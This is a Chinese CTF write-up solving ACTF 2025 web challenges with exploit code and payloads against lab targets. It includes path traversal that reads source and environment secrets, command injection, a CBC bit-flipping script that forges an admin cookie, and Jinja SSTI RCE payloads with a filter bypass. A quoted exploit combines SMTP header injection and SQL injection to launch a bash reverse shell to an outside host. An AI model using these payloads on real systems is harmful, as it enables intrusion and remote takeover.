2025ACTF Web部分题解

发布于:2025-05-11 ⋅ 阅读:(19) ⋅ 点赞:(0)

ACTF upload

前面登录随便输入可以进入文件上传页面, 随便上传一张图片, 发现路由存在file_path参数, 尝试路径穿越读取文件

发现可以成功读取

在这里插入图片描述

在这里插入图片描述

读取源码

/upload?file_path=../app.py
import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
    if session.get('username'):
        return redirect(url_for('upload'))
    else:
        return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
                return redirect(url_for('index'))
            else:
                flash('Invalid password')
        else:
            session['username'] = username
            return redirect(url_for('index'))
    else:
        return '''
        <h1>Login</h1>
        <h2>No need to register.</h2>
        <form action="/login" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <br>
            <input type="submit" value="Login">
        </form>
        '''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
    if not session.get('username'):
        return redirect(url_for('login'))
    
    if request.method == 'POST':
        f = request.files['file']
        file_path = str(uuid.uuid4()) + '_' + f.filename
        f.save('./uploads/' + file_path)
        return redirect(f'/upload?file_path={file_path}')
    
    else:
        if not request.args.get('file_path'):
            return '''
            <h1>Upload Image</h1>
            
            <form action="/upload" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
            </form>
            '''
            
        else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb') as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return 'Sorry, but you are not allowed to view this image.'
                
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

看到源码可知需要伪造admin用户, 可以利用os.system执行命令

先读取环境拿到里面的密钥

/upload?file_path=../../proc/self/environ
SECRET_KEY=S3cRetK3y

构造出admin的session(自己本地搭一下环境运行一下就可以)

admin:
eyJ1c2VybmFtZSI6ImFkbWluIn0.aAxpFg.aoP1NENbn7PB_OgfFISupEFOT_A

构造payload

/upload?file_path=../$(cat+/Fl4g_is_H3r3>/tmp/111.txt)

然后读取就行

在这里插入图片描述

在这里插入图片描述

not so web 1

描述: Web不够,其他来凑

注册登录进去给了源码

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True


def parse_cookie(cookie: str) -> Tuple[bool, str]:
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")


@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)


@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()

分析一下源码需要以admin的用户登录, 可以进行ssti注入rce

但是admin的密码和key在secret.py里面, 而这里也不存在文件读取的漏洞, 所以无法获取key和密码

应该就是从加密和解密函数入手

存在一个CBC字节翻转攻击的利用

根据源码本地搭建一下环境调试一下

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
# from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

KEY=b'sixteen_byte_key'
app = Flask(__name__)
app.secret_key = KEY
ADMIN_PASSWORD=b'test_password'


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
    if not cookie:
        return False

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        return False

    if len(cookie_encrypted) < 32:
        return False

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded) # 没有去除填充这一步, 可能存在问题
    except ValueError:
        return False

    try:
        _ = json.loads(cookie_json)
    except Exception:
        return False

    return True

# 解析加密后的cookie
def parse_cookie(cookie: str) -> Tuple[bool, str]:
    if not cookie:
        return False, ""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
        print(b"[+]cookie_encrypted:"+cookie_encrypted)
    except binascii.Error:
        return False, ""

    if len(cookie_encrypted) < 32:
        return False, ""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:] #前16为iV, 剩余部分为加密数据
        cipher = AES.new(KEY, AES.MODE_CBC, iv) # 创建解密器
        decrypted = cipher.decrypt(padded) # 解密
        print(b"[+]decrypted:"+decrypted)
        cookie_json_bytes = unpad(decrypted, 16) # 去除填充
        print(b"[+]cookie_json_bytes:"+cookie_json_bytes)
        cookie_json = cookie_json_bytes.decode() #将字节数据转为字符串
        print("[+]cookie_json:"+cookie_json)
    except ValueError:
        return False, ""

    try:
        cookie_dict = json.loads(cookie_json) #反序列化JSON字符串为字典
        print("[+]cookie_dict:"+str(cookie_dict))
    except Exception:
        return False, ""

    return True, cookie_dict.get("name")

# 生成加密的cookie
def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    print("[+]cookie_dict:" + str(cookie_dict))
    cookie_json = json.dumps(cookie_dict)
    print("[+]cookie_json:"+cookie_json)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16) # 生成随机的初始化向量
    print(b"[+]iv:"+iv)
    padded = pad(cookie_json_bytes, 16) # 将数据填充到AES加密所需的块大小
    cipher = AES.new(KEY, AES.MODE_CBC, iv) # 创建加密器
    encrypted = cipher.encrypt(padded) # 执行加密
    print("[+]encrypted:"+str(encrypted))
    print("[+]base64:"+base64.b64encode(iv + encrypted).decode())
    return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")


@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    print("[+]current_username:"+current_username)
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)


@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()

注册一个用户 ddmin, 拿到它的一个初始明文: {"name": "ddmin", "password_raw": "123", "register_time": 1745673597}

以及相对应的cookie: P7Oq9CZtz3Mj/OimRNvxhd8u+Ci0Wd5EMTXi/tO+rpCJfvCWGYra1ykEIK7wgkzaiRkwDawSdZEzSsYVx+65hI92owTbjRbkHZWJjoqeDmfRMWRGvoLwNGt/aq6VVUYP

让AI写一个脚本, 将用户名ddmin修改成admin

import base64


# CBC反转攻击函数(针对Base64编码的Cookie)
def cbc_bit_flip_base64(cookie_base64, original_plaintext, target_value, target_start_pos, target_len, block_size=16):
    """
    执行CBC反转攻击,修改Base64编码的Cookie(IV || Ciphertext)
    :param cookie_base64: Base64编码的Cookie(字符串)
    :param original_plaintext: 原始明文(字节串)
    :param target_value: 目标字段值(字节串)
    :param target_start_pos: 目标字段在明文中的起始位置
    :param target_len: 目标字段长度
    :param block_size: 块大小(默认16字节)
    :return: 修改后的Base64编码Cookie
    """
    # 解码Base64
    cookie_bytes = base64.b64decode(cookie_base64)
    if len(cookie_bytes) < block_size:
        raise ValueError("Cookie too SMALL, expected at least one block (IV)")

    # 提取IV和密文
    iv = cookie_bytes[:block_size]
    ciphertext = cookie_bytes[block_size:]

    # 计算目标字段所在的块
    block_index = target_start_pos // block_size
    offset_in_block = target_start_pos % block_size

    # 确保目标值长度匹配
    if len(target_value) != target_len:
        raise ValueError("Target value length does not match the specified length")

    # 验证块索引(目标应在第0块,通过IV修改)
    if block_index != 0:
        raise ValueError("Target field is not in the first block; adjust the attack logic")

    # 提取原始明文对应位置的字段
    original_field = original_plaintext[target_start_pos:target_start_pos + target_len]

    # 修改IV
    # P_0 = D_K(C_0) ^ IV => P_0' = D_K(C_0) ^ IV' => IV' = IV ^ P_0 ^ P_0'
    new_iv = bytearray(iv)
    for i in range(target_len):
        if offset_in_block + i < block_size:
            new_iv[offset_in_block + i] = (
                    iv[offset_in_block + i] ^ original_field[i] ^ target_value[i]
            )

    # 拼接修改后的IV和原密文
    modified_cookie_bytes = bytes(new_iv) + ciphertext

    # 编码为Base64
    modified_cookie_base64 = base64.b64encode(modified_cookie_bytes).decode('utf-8')

    return modified_cookie_base64


# 示例
def main():
    # 输入的Base64 Cookie
    cookie_base64 = "0slJTJR8L1NKM3jiLlTCFbshlQizPVlRW9auQUW93128rDhF9Bs+2/Iijr3EUBFzEM/XslFHwHC3OdD0apCgYXEWKtsXkCC+cmBYd2CZ7EXo41AAfsCflNiCc4Ee79Fd"
    print(f"Original Cookie (Base64): {cookie_base64}")

    # 原始明文
    original_plaintext = b'{"name": "ddmin", "password_raw": "123", "register_time": 1745673597}'
    print(f"Original Plaintext: {original_plaintext.decode()}")

    # 目标值:将"ddmin"改为"admin"
    target_value = b"admin"
    target_start_pos = original_plaintext.index(b"ddmin")  # "ddmin"在明文中的起始位置
    target_len = len(b"ddmin")  # 字段长度

    # 执行CBC反转攻击
    modified_cookie_base64 = cbc_bit_flip_base64(
        cookie_base64, original_plaintext, target_value, target_start_pos, target_len
    )
    print(f"Modified Cookie (Base64): {modified_cookie_base64}")

if __name__ == "__main__":
    main()

拿到这个生成的cookie直接替换掉原来的cookie: 0slJTJR8L1NKM33iLlTCFbshlQizPVlRW9auQUW93128rDhF9Bs+2/Iijr3EUBFzEM/XslFHwHC3OdD0apCgYXEWKtsXkCC+cmBYd2CZ7EXo41AAfsCflNiCc4Ee79Fd

可以发现就已经是admin的用户了

在这里插入图片描述

接下来就可以直接ssti进行rce了

/home?payload={{config.__class__.__init__.__globals__['os'].popen('cat+flag.txt').read()}}

Cookie: jwbcookie=0slJTJR8L1NKM33iLlTCFbshlQizPVlRW9auQUW93128rDhF9Bs+2/Iijr3EUBFzEM/XslFHwHC3OdD0apCgYXEWKtsXkCC+cmBYd2CZ7EXo41AAfsCflNiCc4Ee79Fd

在这里插入图片描述

not so web 2

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
    abort,
)

app = Flask(__name__)
app.secret_key = KEY

if os.path.exists("/etc/ssl/nginx/local.key"):
    private_key = RSA.importKey(open("/etc/ssl/nginx/local.key", "r").read())
else:
    private_key = RSA.generate(2048)

public_key = private_key.publickey()


@dataclass
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie_b64: str) -> bool:
    valid, _ = parse_cookie(cookie_b64)
    return valid


def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
    if not cookie_b64:
        return False, ""

    try:
        cookie = base64.b64decode(cookie_b64, validate=True).decode()
    except binascii.Error:
        return False, ""

    try:
        msg_str, sig_hex = cookie.split("&")
    except Exception:
        return False, ""

    msg_dict = json.loads(msg_str)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = bytes.fromhex(sig_hex)
    try:
        PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
        valid = True
    except (ValueError, TypeError):
        valid = False
    return valid, msg_dict.get("user_name")


def generate_cookie(user: APPUser) -> str:
    msg_dict = {"user_name": user.name, "login_time": int(time.time())}
    msg_str = json.dumps(msg_dict)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
    sig_hex = sig.hex()
    packed = msg_str + "&" + sig_hex
    return base64.b64encode(packed.encode()).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!", "danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.", "success")
            return redirect(url_for("login"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.", "danger")
    return render_template("login.html")


@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    if not valid or not current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    if not user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        if payload:
            for char in payload:
                if char in "'_#&;":
                    abort(403)
                    return

        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
""" % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)


@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()

构造特殊用户名:

JSON 键覆盖特性 :
json.loads() 在解析重复键时,以最后一个键值为准

user", "user_name": "admin
jwbcookie=eyJ1c2VyX25hbWUiOiAidXNlciIsICJ1c2VyX25hbWUiOiAiYWRtaW4iLCAibG9naW5fdGltZSI6IDE3NDU2OTA0NzJ9JjFhYmM5Nzc1MmZhYzg5YzNmYmMwMjJkYzdhMjlmZDhkNzc3MGNiZDUzY2FjY2M2NTA2ODk4YjdkYWZjMGQ5ZTFhNDE1ZWMzM2I0M2ZiZmM3M2JiZGFiZGVmZDVhOTg4MTVlYjYxZTcwYjNmZmJkOTIyNmJhNDY0ZDY1NTA1MzE5NjI5ZGFmZjMxZWY4OWFkMzhhNmFmZDFhOTg5ZWI4ZjAwZjRjYTZmYmEyMjMzYjdhZWY5OGQyZWEzZjhmNTc4NjY3M2QxNzM0Mjg4YjdmOGMyMDkwYzlmODQ2ZmM4OWQxM2E2ZDkzOGE3MTVkODRjMzEyODRjZDJlOGRjYzMxNDNjZjgzZDU3MjE1OGQyODY0YWU5NGYwYWEyYzIwZDQwMGI1MmVjOTNjN2I0MGNjNmJjNmQ5ODRkYmU3OGNhOWM4YWE4ZDM3MzE1YzA1YTc4NDkxYmQzZDA0Y2EwMmEzOThjNTI3ZTc3ZDgxZGE3OGI5MmI0NTk2ZTE1MzJlZDFkOGVlNjFkNzQ1NWEyNWZjYThlMTY2OWJlODA0NjAwOWQwYTkxNjBhZmM2ZGQ3OTIwYTE0Yzc3NTYzNTM4MTFhODUwNDgwMTljMTA4ZWYxNmE5NmUzNTZiODhlZmIyMTUwNDYxODMzZWYxZTY3NmQyMzY1NWU0NjUwZDFiNmQxZmI0

可以成功伪造为admin

在这里插入图片描述

但是还对payload加了一些waf

payload = request.args.get("payload")
        if payload:
            for char in payload:
                if char in "'_#&;":
                    abort(403)
                    return

不知道为什么在yakit上面没反应, 只能在浏览器上面测试

通过Unicode编码绕过

/home?payload={{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat flag.txt")|attr("\u0072\u0065\u0061\u0064")()}}

在这里插入图片描述

Excellent-Site

import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *

app = Flask(__name__)

def get_subjects(username, password):
    imap_server = "ezmail.org"
    imap_port = 143
    try:
        print("[+]进入get_subjects")
        mail = imaplib.IMAP4(imap_server, imap_port) # IMAP4协议(非加密,端口143)连接邮箱服务器
        print("[+]mail:",mail)
        print("111")
        mail.login(username, password)
        mail.select("inbox") # 选择用户的收件箱
        status, messages = mail.search(None, 'FROM "admin@ezmail.org"') # 限定了只搜索admin@ezmail.org的邮件
        print("222")
        if status != "OK":
            return ""
        subject = ""
        latest_email = messages[0].split()[-1] # 最新的一封邮件
        print("[+]latest_email", latest_email)
        status, msg_data = mail.fetch(latest_email, "(RFC822)") # 根据邮件ID获取邮件的原始数据(RFC822格式)
        print("[+]msg_data:",msg_data)
        for response_part in msg_data: # 从邮件头中提取并解码Subject字段,返回主题内容
            if isinstance(response_part, tuple):
                msg = email.message_from_bytes(response_part  [1])
                subject, encoding = decode_header(msg["Subject"])  [0]
                if isinstance(subject, bytes):
                    subject = subject.decode(encoding if encoding else 'utf-8')
                    print("[+]subject:", subject)
        mail.logout()
        return subject
    except:
        return "ERROR"

def fetch_page_content(url):
    try:
        parsed_url = urlparse(url)
        if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':
            return "SSRF Attack!"
        response = requests.get(url)
        if response.status_code == 200:
            return response.text
        else:
            return "ERROR"
    except:
        return "ERROR"

@app.route("/report", methods=["GET", "POST"])
def report():
    message = ""
    if request.method == "POST":
        url = request.form["url"]
        content = request.form["content"]
        smtplib._quote_periods = lambda x: x
        mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
        try:
            server = smtplib.SMTP("ezmail.org")
            mail_content = smtplib._fix_eols(mail_content)
            mail_content = mail_content.format(url=url, content=content)
            server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
            message = "Submitted! Now wait till the end of the world."
        except:
            message = "Send FAILED"
    return render_template("report.html", message=message)

@app.route("/bot", methods=["GET"])
def bot():
    # requests.get("http://ezmail.org:3000/admin")
    requests.get("http://127.0.0.1:3000/admin")
    return "The admin is checking your advice(maybe)"

@app.route("/admin", methods=["GET"])
def admin():
    ip = request.remote_addr
    if ip != "127.0.0.1":
        return "Forbidden IP"
    print("[+]进入admin")
    subject = get_subjects("admin", "p@ssword")
    print("[+]subject:",subject)
    if subject.startswith("http://ezmail.org"):
        page_content = fetch_page_content(subject)
        return render_template_string(f"""
                <h2>Newest Advice(from myself)</h2>
                <div>{page_content}</div>
        """)
    return ""

@app.route("/news", methods=["GET"])
def news():
    news_id = request.args.get("id")

    if not news_id:
        news_id = 1

    conn = sqlite3.connect("news.db")
    cursor = conn.cursor()

    cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
    result = cursor.fetchone()
    conn.close()

    if not result:
        return "Page not found.", 404
    return result[0]

@app.route("/")
def index():
    return render_template("index.html")

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

这里固定邮件来自ignored@ezmail.org

mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""

但是get_subjects方法里面又规定了只搜索来自admin@ezmail.org的邮件

status, messages = mail.search(None, 'FROM "admin@ezmail.org"') 

所以这里应该需要伪造, 考虑这种形式

url = http://ezmail.org@127.0.0.1:3000/admin\r\nFrom:+admin@ezmail.org

ezmail.org连不了, 本地无法调试, 不知道咋弄, 先放弃

后面看其他佬的wp, 原来要用到sql注入来伪造邮件来源, 不过感觉还是没太看懂其他那些, 也没有环境复现了

import requests
import base64

URL = "http://sensitive_ip:52098"

cmd = "sensitive_ip/30001"
bases64_cmd = base64.b64encode(f"bash -c 'bash -i>/dev/tcp/{cmd} 0>&1 2>&1'".encode()).decode()

exp_data =  """{% for i in ''.__class__.__base__.__subclasses__() %}
{% if i.__name__ == "_wrap_close" %}
{% set a = i.__init__.__globals__['popen']('echo """ + bases64_cmd + """|base64 -d|sh').read() %}
{% endif %}
{% endfor %}'"""

try:
    rep = requests.post(
        url=URL + "/report",
        data={
            "url":"http://ezmail.org:3000/news?id=" + f"2 union select unhex('{exp_data.encode('utf-8').hex()}') limit 1,1\r\nFrom: admin@ezmail.org",
            "content":"7890"
        }
    )
    print(rep.text)
    rep = requests.get(url=URL + '/bot')
    print(rep.text)
except Exception as e:
    print(e)

网站公告

今日签到

点亮在社区的每一天
去签到